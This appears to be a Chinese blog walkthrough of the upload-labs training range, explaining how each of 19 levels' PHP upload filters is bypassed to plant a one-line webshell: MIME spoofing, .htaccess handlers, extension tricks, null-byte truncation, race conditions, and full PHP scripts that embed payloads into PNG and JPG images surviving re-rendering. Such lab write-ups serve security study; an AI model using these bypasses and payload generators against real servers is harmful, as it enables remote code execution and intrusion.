upload-labs靶场通关全网最详细

Pass-01(前端验证绕过)

我们本关的任务是上传一个webshell,当我们上传php文件的时候,会直接阻止

我们去看看很明显这个是对前端进行验证的代码

那我们直接进入开发者模式可以清楚的看到checkFile()【文件类型校验函数】

那就很简单了,我们删除校验改为true,即可成功上传我们的php 

上传成功:

看看结果

第二种方法,我们可以使用burp抓包实现,先上传一个.jpg正常的文件但是内容是一句话木马,抓包后修改后缀放行也可实现 

第三种方法:关闭网页的js攻能,这样js也被我们绕过了

我们现在重新进行提交

原因:前端进行js校验,白名单验证

Pass-02(MIME检测绕过)

我们先看看源码是什么,很明显pass2种在服务端对数据包的MIME进行检查!

那我们本关通关的方法就很明确了,修改MIME类型值就可以达到上传的效果 

显示结果(我这里后台显示已上传)

Pass-03(php3、phtml绕过黑名单)

先看pass要求

 源码进行溯源

 很明显我们一上传就出错,但是我们可以上传.php5后缀的文件而这里就要给大家补充知识点了

pass:PHP的扩展名不只有.php还有.php3、.php5、.phtml等

用的Apache:我们修改Apache配置文件,把注释改为允许即可,Ctrl+F,搜索.phtml即可

用的Nginx:nginx可以直接解析.php5文件不用管

结果:

修改文件名php3

可以看到上传成功了

Pass-04(特性文件绕过.htaccss)

看一下要求

看看源码

限制挺多不过想到apache和Nginx下都支持.htaccss文件(支持网站重定向的) ,而这个文件有三个特殊函数其中一个

Sethandler application/x-httpd-php

让所有文件都以php文件执行 

那我先上传.htaccss文件上去

上传一句话木马,但是是jpg形式

此时便上传成功且可以执行我们的一句话木马

Pass-05(大小写绕过)

好了04关卡被限制了

但是代码很明显没有统一大小写

大写直接绕过(php不区分大小写)

Pass-06(空格绕过)

好了大小写也回来了

那怎么过?,给php文件后缀加一个空格

 因为Windows有特性会自动把后缀后面的空格删除掉,我们抓包进行处理

很明显空格出现了

上传成功

pass:文件命名方式(日期加4位随机数)

后面四位不知道怎么办??

抓包去处理(前提:系统是开源的)

 很明显8172爆破成功

Pass-07(.绕过)

跟06相比很容易看出来它没有去点

因为在Windows下.和空格都会被当做非法字符处理掉,但是白名单可以绕过

很明显我上传成功了

Pass-08(::$DATA字符绕过)

很明显没有去除特殊字符串

很明显上传成功了

Pass-09(代码逻辑绕过)

先查看一下它的代码

很明显几乎全都过滤了

那我们利用代码思路的错误去拼接我们穿一个文件web.php点空格点

自然成功

Pass-10(双写绕过)

把黑名单中文件名替换成空了

那这个时候就需要我们通过双写来进行绕过了,当我上传一个111pphphp文件时,因为源码的替换为空原因导致我中间的php被删除,而之后的后缀通过拼接变成了一个新的php文件

上传之后在后台就是

 因此通过双写我们对于源码更换为空的代码进行了替换拼接,成功上传我们的一句话恶意代码

Pass-11(特殊的00截断)

看看源码:

开始抓包

修改上传路径为demo.php

发包不行,直接上传失败,那接下来我们就要思考%00截断问题(要求php版本<5.3.4.)

之后便显示我们成功了

 

Pass-12(post传参16进制截断)

%00截断失效,因为是post传参,不是url地址传参,因此我们需要16进制截断

那我们就url编码好再进行传参

最后自然也就成功了

 

Pass-13(图片马)

看看源码只读取前两个字节

准备个jpg,准备个php

 

通过cmd的copy将两个整合到一起

很明显我们的图片中带有了恶意代码

成功上传

之后利用文件包含漏洞即可直接执行

 这里有一点,我们需要把远程包含文件这个代码打开

之后通过包含文件便可成功

Pass-14(图片马)

不能说与第十三关完全相同,只能说是一模一样

 

Pass-15(图片马)

与13,14关做法相同

Pass-16(修改图片元素)

看看源码,把你图片元素打散了

好了一句话木马不在了

 那怎么办,因为只打散了一部分,我们插入到它未打散的地方不就可以了

gif(先合并一个一句话木马)

咱们上传之后进行比对,看两个文件有什么是没变的那就是我们插入一句话木马的地方

 

我们手动写入图片没变的位置 (找到没打散的图片)

 

上传自然成功 

png 

换汤不换药

上传

 

 对比

很明显这样不行了,在我参考国外大牛的文章后,最好的方法就是用代码生成一个png图片

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

 这里可以看到确实是生成了

很明显一句话木马的渲染没有丢失

 很明显这里直接成功了

当然我们也可以蚁剑直接连接一句话木马

 jpg:

这里也使用国外大牛的代码

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

首先随便找一张jpg照片,先上传一个,之后保存,用php代码合成

 成功上传(这里需要注意的是,jpg比较特殊,有时候我们的恶意函数还是会被删除,所以需要多次尝试)

终于在第三次尝试下我成功了

 

Pass-17(条件竞争漏洞)

看看源码:白名单

他的问题在于先上传后删除 

如此

 

我们在上传访问后就自动生成了

那我们开始实操

抓包然后暴力破解模块访问1000次,我们浏览器这边手动刷新

很明显生成了

 

Pass-18

跟17关类似,只是文件名限制了,图片马即可以

Pass-19

与前几关类似,抓包加个后缀即可

move_uploaded_file()这样一个函数,特性忽略文件末尾的/.,直接上传1.png,抓包,在末尾加上/.

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-14 14:02:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-14 14:02:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-03-14 14:02:03       82 阅读
  4. Python语言-面向对象

    2024-03-14 14:02:03       91 阅读

热门阅读

  1. springBean的三种实例化

    2024-03-14 14:02:03       42 阅读
  2. Kubernetes kafka系列 | k8s部署kafka+zookeepe集群

    2024-03-14 14:02:03       30 阅读
  3. boost 压缩与解压缩流

    2024-03-14 14:02:03       37 阅读
  4. TCP的三次握手和四次挥手

    2024-03-14 14:02:03       45 阅读
  5. [AIGC] 探索消息队列事务

    2024-03-14 14:02:03       43 阅读
  6. vue2和vue3的区别?

    2024-03-14 14:02:03       46 阅读
  7. 白话-MVCC如何工作

    2024-03-14 14:02:03       28 阅读
  8. python实现B/B+树

    2024-03-14 14:02:03       47 阅读
  9. python图像处理,opencv笔记汇总

    2024-03-14 14:02:03       42 阅读
  10. 算法详解——贪心算法

    2024-03-14 14:02:03       38 阅读
  11. ARM 汇编指令:(三)运算处理指令

    2024-03-14 14:02:03       44 阅读